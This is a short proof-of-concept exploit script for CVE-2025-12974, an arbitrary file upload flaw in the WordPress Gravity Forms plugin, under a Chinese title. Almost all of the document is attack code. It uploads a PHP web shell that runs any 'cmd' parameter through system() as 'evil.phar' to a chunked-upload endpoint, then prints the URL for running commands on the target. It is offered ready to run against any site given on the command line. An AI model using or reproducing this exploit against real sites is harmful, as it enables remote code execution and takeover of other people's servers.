CVE-2025-12974: WordPress Gravity Forms插件任意文件上传漏洞

import requests import sys # CVE-2025-12974 PoC - Gravity Forms Arbitrary File Upload # Target: WordPress site with vulnerable Gravity Forms plugin (<=2.9.21.1) def upload_phar(target_url, upload_path=None): """ Upload malicious .phar file via Gravity Forms chunked upload mechanism Args: target_url: Base URL of the WordPress site upload_path: Discovered or enumerated upload path (optional) Note: Requires server configuration where .phar files are processed as PHP """ # Malicious .phar file content with PHP payload # This creates a PHAR archive that executes arbitrary PHP code malicious_phar = b''' <?php // CVE-2025-12974 - Malicious PHAR payload // This will be executed when the .phar file is accessed if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?> ''' # Chunked upload endpoint (legacy mechanism) endpoint = f"{target_url}/wp-json/gf/v2/chunked_upload" headers = { "Content-Type": "application/octet-stream", "X-GF-Chunk-Index": "0", "X-GF-Chunk-Total": "1", "X-GF-Chunk-Hash": "malicious_phar_hash", "X-GF-Filename": "evil.phar" } try: response = requests.post(endpoint, data=malicious_phar, headers=headers, timeout=30) if response.status_code == 200: result = response.json() uploaded_path = result.get("temp_filename", "") print(f"[+] Successfully uploaded malicious .phar file") print(f"[+] Access the file at: {target_url}/wp-content/uploads/{uploaded_path}") print(f"[+] Execute commands: {target_url}/wp-content/uploads/{uploaded_path}?cmd=whoami") return True else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12974.py <target_url>") print("Example: python cve-2025-12974.py https://example.com") sys.exit(1) target = sys.argv[1].rstrip("/") upload_phar(target)